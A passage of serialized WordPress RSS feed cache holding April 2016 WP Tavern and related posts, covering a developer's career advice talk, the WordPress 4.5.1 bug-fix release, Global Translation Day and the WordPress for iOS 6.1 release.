href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/glasses-computer.jpg"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/glasses-computer.jpg?resize=960%2C557" alt="photo credit: Aliis Sinisalu" class="size-full wp-image-54120" /></a>photo credit: <a href="https://stocksnap.io/photo/2SLJBDK4T0">Aliis Sinisalu</a>\n<p><a href="https://twitter.com/akosma" target="_blank">Adrian Kosmaczewski</a>, a 42-year-old, self-taught developer, published an article today titled <a href="https://medium.com/@akosma/being-a-developer-after-40-3c5dd112210c#.5nju9pdg8" target="_blank">Being A Developer After 40</a>. The piece is full of sage advice that is resonating with developers of all ages. His post is a summary of a talk he gave at the <a href="https://www.appbuilders.ch/" target="_blank">App Builders Switzerland</a> conference in April with the accompanying slides <a href="https://speakerdeck.com/akosma/being-a-developer-after-40" target="_blank">available on Speaker Deck</a>.</p>\n<p>Kosmaczewski gives readers a glimpse into what the world of technology was like in 1997, the year he began his career as a developer before the days of unit tests and continuous integration, before SVN even existed.</p>\n<blockquote><p>My first job consisted of writing ASP pages in various editors, ranging from Microsoft FrontPage, to HotMeTaL Pro to EditPlus, managing cross-browser compatibility between Netscape Navigator and Internet Explorer 4, and writing stored procedures in SQL Server 6.5 powering a commercial website published in Japanese, Russian, English and Spanish — without any consistent UTF-8 support across the software stack.</p></blockquote>\n<p>If you worked as a developer in those days you may fondly remember working with some of these technologies. Since then, countless new ones have been introduced but the requirement to keep learning remains unchanged. Kosmaczewski offers advice on navigating the hype surrounding the newest programming languages.</p>\n<blockquote><p>Do not worry about hype. Keep doing your thing, keep learning what you were learning, and move on. Pay attention to it only if you have a genuine interest, or if you feel that it could bring you some benefit in the medium or long run.</p></blockquote>\n<p>It&#8217;s easy to get overwhelmed with all the new languages and frameworks that people say you need to learn in order to stay relevant, but Kosmaczewski encourages readers to follow their own interests and learn about software history. Otherwise, you&#8217;ll be forever chasing new architectures and ideas but never learning them in depth or gaining more than a shallow understanding of their implementation.</p>\n<p>In an industry where professionals are valued by their abilities in specific languages, many programmers allow their identity to be wrapped up in the tools they use. Kosmaczewski encourages readers to be ready to change course:</p>\n<blockquote><p>Do not criticize or make fun of the technology choices of your peers; for other people will have their own reasons to choose them, and they must be respected. Be prepared to change your mind at any time through learning. One day you might like Windows. One day you might like Android. I am actually liking some parts of Android lately. And that is OK.</p></blockquote>\n<p>His perspective comes from nearly 20 years of working as a developer. The lesson I saw in this section of his essay is that the technologies you work with are part of your journey, and you&#8217;ll cycle through many of them. However, be careful not to allow them to become your whole identity, because you are still learning.</p>\n<h3>The Value of Teaching</h3>\n<p>One of the most inspiring parts of his post is the section on teaching. We often hear the saying, &#8220;Those who can, do; those who can&#8217;t, teach,&#8221; thrown around smugly, but this devalues educators. Teaching is somewhat of a lost art in an industry where many professionals are self-taught. Yet, Kosmaczewski says there are some things you cannot learn without having taught someone else:</p>\n<blockquote><p>Teaching will make you more humble, because it will painfully show you how limited your knowledge is. Teaching is the best way to learn. Only by testing your knowledge against others are you going to learn properly. This will also make you more respectful regarding other developers and other technologies; every language, no matter how humble or arcane, has its place within the Tao of Programming, and only through teaching will you be able to feel it.</p></blockquote>\n<p>Kosmaczewski also shares some moving stories of how his teaching and mentoring have made a difference in the world, especially for those who are just beginning.</p>\n<p>If you have a few minutes, I highly recommend reading &#8220;<a href="https://medium.com/@akosma/being-a-developer-after-40-3c5dd112210c#.5nju9pdg8" target="_blank">Being A Developer After 40</a>.&#8221; This article is a window into one developer&#8217;s journey but his advice and habit recommendations are relevant to everyone from experienced programmers to those just starting out. Kosmaczewski explores some of the darker aspects of the industry but also the beauty of sticking with it. His closing statement sums it up nicely:</p>\n<blockquote><p>As long as your heart tells you to keep on coding and building new things, you will be young, forever.</p></blockquote>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 26 Apr 2016 21:41:47 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:21;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:39:"WPTavern: WordPress 4.5.1 Fixes 12 Bugs";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54104";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:49:"http://wptavern.com/wordpress-4-5-1-fixes-12-bugs";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:1121:"<p>WordPress 4.5.1 <a href="https://wordpress.org/wordpress-4.5.1.zip">is available</a> and <a href="https://wordpress.org/news/2016/04/wordpress-4-5-1-maintenance-release/">addresses a dozen items</a> reported against WordPress 4.5. According to Adam Silverstein, &#8220;a singular class issue that broke sites based on the Twenty Eleven theme, an incompatibility between certain Chrome versions and the visual editor, and an Imagick bug that could break media uploads,&#8221; are among the bugs fixed. A detailed list of changes can be <a href="https://core.trac.wordpress.org/log/branches/4.5?rev=37295&stop_rev=37182">viewed here</a>.</p>\n<p>WordPress 4.5.1 is already being pushed out to sites configured for auto updates. If you&#8217;d rather not wait or have auto updates disabled, you can browse to Dashboard &#8211; Updates and click the Update Now button. If you encounter an issue or believe you&#8217;ve discovered a bug, please post it in the <a href="https://wordpress.org/support/forum/how-to-and-troubleshooting">troubleshooting section</a> of the support forums.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 26 Apr 2016 19:54:23 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:22;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:84:"WPTavern: Global WordPress Translation Day Draws 448 Participants from 105 Countries";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54010";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:94:"http://wptavern.com/global-wordpress-translation-day-draws-448-participants-from-105-countries";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:7593:"<p><a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/wordpress-global-translation-day.png"><img src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/wordpress-global-translation-day.png?resize=1025%2C511" alt="wordpress-global-translation-day" class="aligncenter size-full wp-image-54040" /></a></p>\n<p>The first <a href="https://wptranslationday.org/" target="_blank">Global WordPress Translation Day</a> was held over the weekend, organized by the Polyglots team. The event included 24 hours of live training sessions and translation sprints that spanned every timezone from East to West. The goal was to grow the translation teams and educate new translators with live training sessions.</p>\n<p>During the course of the event, 448 translators from 105 countries translated 40,350 new strings across 597 projects. This includes WordPress core and open source plugins and themes, such as Pods, Google Two-Factor Authentication, WooCommerce, bbPress, Yoast SEO, and hundreds of others.</p>\n<blockquote class="twitter-tweet"><p lang="en" dir="ltr"><a href="https://twitter.com/hashtag/WPTranslationDay?src=hash">#WPTranslationDay</a> in Japan &#8211; Our collective achievement today: of top 100, 20 plugins/62 plugins are now translated in Japanese.</p>\n<p>&mdash; Naoko Takano (@naokomc) <a href="https://twitter.com/naokomc/status/724180025033940992">April 24, 2016</a></p></blockquote>\n<p></p>\n<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/japan-thailand-wptranslation-day.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/japan-thailand-wptranslation-day.png?resize=1025%2C766" alt="Japan and Thailand live streaming each other''s events -  photo credit: Menn Studio" class="size-full wp-image-54075" /></a>Japan and Thailand live streaming each other&#8217;s events &#8211;  photo credit: <a href="https://twitter.com/MennStudio/status/724151092771065857">Menn Studio</a>\n<p>&#8220;We had 39 local events and 11 remote events happening across the globe,&#8221; organizer Petya Raykovska said. &#8220;India was the big surprise with four of the big Indian languages getting new contributors, forming teams and connecting across India with one another to collaborate live.&#8221;</p>\n<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Last year Hindi was far from 100%. Today 8 events in India translate to bo_IN, hi_IN, mr, gu, ml <a href="https://twitter.com/hashtag/WPTranslationday?src=hash">#WPTranslationday</a> <a href="https://t.co/Lq5DoJrf0Q">pic.twitter.com/Lq5DoJrf0Q</a></p>\n<p>&mdash; Petya Raykovska (@petyeah) <a href="https://twitter.com/petyeah/status/724103477002166272">April 24, 2016</a></p></blockquote>\n<p></p>\n<p>All of the sessions were live streamed and the team had 316 people who watched the broadcast at some point during the day. The event featured 12 training sessions in different languages to teach participants how to translate WordPress core, including Japanese, Hindi, Bulgarian, German, Slovak, French, Spanish, Portuguese, Swedish, Dutch, Lithuanian and Italian.</p>\n<p>The other sessions focused on topics for plugin and theme developers, such as:</p>\n<ul>\n<li>Plugin documentation and support for the whole world</li>\n<li>How to find translators for your plugins and themes</li>\n<li>Localization – Beyond Translation </li>\n<li>The life of a string – or how WordPress gets its translations</li>\n<li>Plugin/Theme i18n: How to prepare your plugin or theme for translate.wordpress.org</li>\n<li>GlotDict – how a browser extension changes your translation workflow</li>\n</ul>\n<p>All of the videos from the event are <a href="https://www.crowdcast.io/e/wptranslationday" target="_blank">available on Crowdcast.io</a> if you want to learn more about the WordPress Polyglots team and how everyone works together. One of the best outcomes of the day, according to Raykovska, is that translation teams now have video documentation for new contributors. They plan to upload the videos to WordPress.tv and include them in the Polyglots handbook.</p>\n<h3>Global WordPress Translation Day Offers a New Avenue for Contributing to Translations</h3>\n<p>&#8220;We do contributor days around WordCamps and then the community summit once a year,&#8221; Raykovska said. &#8220;The contributor summit hasn’t been super productive for Polyglots so far. Unlike most other teams, most contributors are 100% volunteers and can’t afford (or get a Visa) for a trip to the US.</p>\n<p>&#8220;So we wanted to organize a contributor day without these restrictions for participants,&#8221; she said. &#8220;And that’s how the idea was born.&#8221;</p>\n<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Staring at the top of the pile of strings we translated during the Dutch <a href="https://twitter.com/hashtag/wptranslationday?src=hash">#wptranslationday</a> meetup! <a href="https://twitter.com/hashtag/community?src=hash">#community</a> <a href="https://t.co/hnC3OJsHTS">pic.twitter.com/hnC3OJsHTS</a></p>\n<p>&mdash; Taco Verdo (@TacoVerdo) <a href="https://twitter.com/TacoVerdo/status/724499512639782912">April 25, 2016</a></p></blockquote>\n<p></p>\n<p>The Polyglots team has not set a date for the next Global WordPress Translation event, but Raykovska said it will be easier for them to organize now that they have the processes figured out. One of the most positive outcomes of this past weekend&#8217;s event is that it has sparked translation teams to organize more local events, especially now that they are armed with video documentation and training tools for plugin and theme developers.</p>\n<p>&#8220;Some countries are planning monthly contributor translation drives and standalone contributor days,&#8221; Raykovska said.</p>\n<blockquote class="instagram-media"><div>\n<div>\n<div></div>\n</div>\n<p> <a href="https://www.instagram.com/p/BElHSiBB_KU/" target="_blank">#WPTranslationDay WordBench 東京。たくさん翻訳できました！</a></p>\n<p>A photo posted by Naoko Takano (@naokomc) on Apr 24, 2016 at 3:37am PDT</p>\n</div>\n</blockquote>\n<p></p>\n<p>Raykovska said next time she would like to get more people on screen from the events happening in different locations around the world. She also hopes to organize some round tables where Polyglots team members can share about their local processes and team structures.</p>\n<p>&#8220;I think we need to make a solid effort to bridge the gap between plugin authors and translators,&#8221; Raykovska said. &#8220;The demand for translations is growing, especially for the most used languages. An event like this would be a good reason for the two groups to gather and talk about what’s not quite working right now and think of ways to overcome it.&#8221;</p>\n<p>As many polyglots will be in attendance at WordCamp Europe, the team is considering organizing a gathering there. This multilingual WordPress event will be <a href="http://wptavern.com/wordcamp-europe-2016-expands-attendee-capacity-to-2200-largest-wordcamp-to-date" target="_blank">the largest WordCamp in history with 2200 attendees</a>. WordPress&#8217; rapidly growing international user base and the expanding Polyglots team could make the Global Translation Day event a catalyst for future improvements to the project.</p>\n<p>&#8220;If we can go one step further, it would be awesome to revive the conversation about multilingual in core,&#8221; Rakovska said. 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I haven&#8217;t visited the city <a href="http://wptavern.com/my-wordcamp-chicago-experience">since 2009</a> and I&#8217;m excited to satisfy my craving for deep dish pizza at <a href="http://www.loumalnatis.com/">Lou Malnati&#8217;s</a>.</p>\n<p>WordCamp Chicago 2009 is a special memory because it&#8217;s where I saw a demo of <a href="http://www.gravityforms.com/">Gravity Forms</a> before it launched to the public. At the time Contact Form 7 was a household name and the go-to plugin for creating forms. I knew it was going to be successful when I saw its user interface and how it worked. Seven years later, the plugin is still going strong.</p>\n<p>The GPL license was also hot topic at the time. During Matt Mullenweg&#8217;s State of the Word presentation, he announced that the WordPress Theme directory would have a section dedicated to theme shops that were 100% GPL. I remember hearing the room gasp during his announcement.</p>\n<p><a href="https://www.flickr.com/photos/jeffc316/3611592503/in/album-72157619302065170/"><img src="http://i2.wp.com/farm4.staticflickr.com/3659/3611592503_8deb33cc39_z.jpg?resize=640%2C480&ssl=1" alt="100_2303" /></a></p>\n<p>In 2009, the WordPress commercial theme market was young and the GPL was a license many theme companies didn&#8217;t embrace. Having your company <a href="https://wordpress.org/themes/commercial/">listed on a page</a> that gets a ton of traffic motivated at least a couple of theme shops to embrace the GPL.</p>\n<p>I&#8217;m looking forward to meeting new people this weekend and creating new memories. If you happen to see me, please stop and say hi. I&#8217;d love to talk to you about your experiences with WordPress.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 26 Apr 2016 06:12:10 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:24;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:76:"WPTavern: WordPress for iOS Adds Geotag Support, Comment Moderation Gestures";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=54024";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:85:"http://wptavern.com/wordpress-for-ios-adds-geotag-support-comment-moderation-gestures";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2967:"<p>WordPress for iOS 6.1 is <a href="https://itunes.apple.com/us/app/wordpress/id335703880?mt=8&uo=6&at=&ct=">available from the App Store</a> and includes a number of improvements. Those who use Jetpack can now manage Publicize connections from within the app.</p>\n<p><a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/img_8539.png"><img class="aligncenter size-large wp-image-54047" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/img_8539.png?resize=282%2C500" alt="Publicize Connections" /></a>Comments can quickly be moderated thanks to gestures added to the notifications screen. Swiping left on a notification displays options to approve, unapprove, spam, or trash a comment.</p>\n<a href="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/CommentModerationGestures.png"><img class="size-large wp-image-54054" src="http://i0.wp.com/wptavern.com/wp-content/uploads/2016/04/CommentModerationGestures.png?resize=281%2C500" alt="Comment Moderation Gestures" /></a>Comment Moderation Gestures\n<p>If you&#8217;ve connected multiple sites to the app, it can be cumbersome to navigate to the one you access most often. This version includes the ability to set up a primary site from within the Account Settings panel. During testing however, I noticed my version of the app doesn&#8217;t have this setting. I&#8217;m going through the support process to determine the cause.</p>\n<a href="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/img_8537.png"><img class="size-large wp-image-54043" src="http://i1.wp.com/wptavern.com/wp-content/uploads/2016/04/img_8537.png?resize=282%2C500" alt="Configure a Primary Site" /></a>My Account Settings Page\n<p>A new UI element at the bottom of the post creation screen allows users to geotag a post. Simply type in an address or location into the search field and a map displays with the location data. The location is stored in the WordPress backend but can be displayed on the frontend if a theme supports it.</p>\n<a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/img_8538.png"><img class="size-large wp-image-54044" src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/img_8538.png?resize=282%2C500" alt="Geotag Support" /></a>Geotag Support\n<p>A full list <a href="https://github.com/wordpress-mobile/WordPress-iOS/issues?q=is%3Aclosed+is%3Aissue+milestone%3A6.1+label%3A%22[Type]+Enhancement%22">of changes</a> and <a href="https://github.com/wordpress-mobile/WordPress-iOS/issues?q=is%3Aclosed+is%3Aissue+milestone%3A6.1+label%3A%22[Type]+Bug%22">bug fixes</a> is available on GitHub where you can also follow the <a href="https://github.com/wordpress-mobile/WordPress-iOS/issues?utf8=%E2%9C%93&q=is%3Aissue+milestone%3A6.2+">progress of 6.2</a>. If you have any issues or think you&#8217;ve discovered a bug, please report it on the <a href="https://ios.forums.wordpress.org/">WordPress for iOS support forums</a>.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Tue, 26 Apr 2016 04:03:58 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Jeff Chandler";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:25;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:64:"WPTavern: WordPress 4.6 to Update Theme Filter Tags in the Admin";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:28:"http://wptavern.com/?p=53952";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:74:"http://wptavern.com/wordpress-4-6-to-update-theme-filter-tags-in-the-admin";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:2093:"<p>The admin themes browser has been updated and modernized in recent years to make it easier to search through the 3,800+ themes available on WordPress.org. One aspect of the interface that has lagged behind, however, is the list of tags for filtering themes. The tags have gone untouched since back in the day when users would search themes by color.</p>\n<p><a href="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/theme-tags.png"><img src="http://i2.wp.com/wptavern.com/wp-content/uploads/2016/04/theme-tags.png?resize=1025%2C726" alt="theme-tags" class="aligncenter size-full wp-image-54013" /></a></p>\n<p>The WordPress Theme Review Team&#8217;s <a href="https://core.trac.wordpress.org/ticket/33407" target="_blank">proposal to overhaul the outdated tags/filters</a> is making it into WordPress 4.6. All of the color tags will be removed, which makes sense since many modern themes are customizable when it comes to accent colors. The update will also remove fixed, fluid, and responsive layouts and will add &#8216;Grid Layout&#8217; to the list. In the list of miscellaneous features, Blavatar will be removed and Footer Widgets will be added.</p>\n<p>The Subject section will be completely revamped by removing the all the previous tags and replacing them with a new list of general theme categories:</p>\n<ul>\n<li>Blog</li>\n<li>E-Commerce</li>\n<li>Education</li>\n<li>Entertainment</li>\n<li>Food &#038; Drink</li>\n<li>Holiday</li>\n<li>News</li>\n<li>Photography</li>\n<li>Portfolio</li>\n</ul>\n<p>The tags will also be updated on the WordPress Theme Directory <a href="https://meta.trac.wordpress.org/ticket/1187" target="_blank">in cooperation with the meta team</a>.</p>\n<p>The WordPress theme landscape has changed so much over the years, especially with the introduction of the customizer, and this update will make it easier for users to narrow down themes they want to use. WordPress.org theme authors will want to be ready to update their themes as soon as the new tags are available so that they can be more easily found via search.</p>\n<div id="epoch-width-sniffer"></div>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 25 Apr 2016 18:51:42 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:13:"Sarah Gooding";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:26;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:25:"Matt: 538 on Basic Income";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:22:"https://ma.tt/?p=46513";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:42:"https://ma.tt/2016/04/538-on-basic-income/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:746:"<blockquote><p>The economic uncertainty surrounding basic income is huge, and the politics of bringing such a program about on a large scale are daunting. But something makes this radical proposal so exciting that people and governments are increasingly willing to try it. Basic income challenges our notions of the social safety net, the relationship between work and income, and how to adapt to technological change. That makes it one of the most audacious social policy experiments in modern history. It could fail disastrously, or it could change everything for the better.</p></blockquote>\n<p>From FiveThirtyEight, <a href="http://fivethirtyeight.com/features/universal-basic-income/">What Would Happen If We Just Gave People Money?</a></p>";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:7:"pubDate";a:1:{i:0;a:5:{s:4:"data";s:31:"Mon, 25 Apr 2016 15:12:59 +0000";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}s:32:"http://purl.org/dc/elements/1.1/";a:1:{s:7:"creator";a:1:{i:0;a:5:{s:4:"data";s:4:"Matt";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}}}}i:27;a:6:{s:4:"data";s:13:"\n	\n	\n	\n	\n	\n	\n";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";s:5:"child";a:2:{s:0:"";a:5:{s:5:"title";a:1:{i:0;a:5:{s:4:"data";s:46:"WP Mobile Apps: WordPress for iOS: Version 6.1";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"guid";a:1:{i:0;a:5:{s:4:"data";s:33:"http://apps.wordpress.com/?p=3375";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:4:"link";a:1:{i:0;a:5:{s:4:"data";s:68:"https://apps.wordpress.com/2016/04/25/wordpress-for-ios-version-6-1/";s:7:"attribs";a:0:{}s:8:"xml_base";s:0:"";s:17:"xml_base_explicit";b:0;s:8:"xml_lang";s:0:"";}}s:11:"description";a:1:{i:0;a:5:{s:4:"data";s:3668:"<p>Hi there, WordPress users! <a href="https://itunes.apple.com/us/app/wordpress/id335703880?mt=8&uo=6&at=&ct=">Version 6.1 of the WordPress for iOS app</a> is now available in the App Store.</p>\n<h1>What&#8217;s New:</h1>\n<p><strong>Get social on the go!</strong> WordPress.com and Jetpack-enabled bloggers can manage Publicize and third-party sharing from within the app.</p>\n<p><strong>More gestures!</strong> Swipe notifications to approve, unapprove, and trash comments at the speed of your thumbs.</p>\n\n<a href="https://apps.wordpress.com/img_2189/"><img width="169" height="300" src="https://apps.files.wordpress.com/2016/04/img_2189.png?w=169&h=300" class="attachment-medium size-medium" alt="Swipe left to unveil the new moderation options." /></a>\n\n<p><strong>Mobile friendly.</strong> Select your primary blog right from within the app.</p>\n\n<a href="https://apps.wordpress.com/img_2187-new/"><img width="169" height="300" src="https://apps.files.wordpress.com/2016/04/img_2187-new.png?w=169&h=300" class="attachment-medium size-medium" alt="You can select your primary site in " /></a>\n<a href="https://apps.wordpress.com/img_2188/"><img width="169" height="300" src="https://apps.files.wordpress.com/2016/04/img_2188.png?w=169&h=300" class="attachment-medium size-medium" alt="Pick it with a simple tap!" /></a>\n\n<p><strong>Where’s Waldo? </strong>Search locations to tag GPS on posts.</p>\n\n<a href="https://apps.wordpress.com/img_2190-new/"><img width="169" height="300" src="https://apps.files.wordpress.com/2016/04/img_2190-new.png?w=169&h=300" class="attachment-medium size-medium" alt="GPS tag your posts!" /></a>\n<a href="https://apps.wordpress.com/img_2191/"><img width="169" height="300" src="https://apps.files.wordpress.com/2016/04/img_2191.png?w=169&h=300" class="attachment-medium size-medium" alt="Tap on " /></a>\n<a href="https://apps.wordpress.com/img_2192/"><img width="169" height="300" src="https://apps.files.wordpress.com/2016/04/img_2192.png?w=169&h=300" class="attachment-medium size-medium" alt="Use the search field to select the right location." /></a>\n\n<p><strong>Enhancements.</strong> Because &#8220;good&#8221; is not enough! Here&#8217;s the full <a href="https://github.com/wordpress-mobile/WordPress-iOS/issues?q=is%3Aclosed+is%3Aissue+milestone%3A6.1+label%3A%22%5BType%5D+Enhancement%22">list of enhancements</a>.</p>\n<p><strong>Bug fixes.</strong> Tons of <a href="https://github.com/wordpress-mobile/WordPress-iOS/issues?q=is%3Aclosed+is%3Aissue+milestone%3A6.1+label%3A%22%5BType%5D+Bug%22">bug fixes</a>!</p>\n<h1>Thank You</h1>\n<p>Thanks to all of the contributors who worked on this release:<br />\n<a href="https://github.com/aerych">@aerych</a>, <a href="https://github.com/alexcurylo">@alexcurylo</a>, <a href="https://github.com/astralbodies">@astralbodies</a>, <a href="https://github.com/diegoreymendez">@diegoreymendez</a>, <a href="https://github.com/frosty">@frosty</a>, <a href="https://github.com/jleandroperez">@jleandroperez</a>, <a 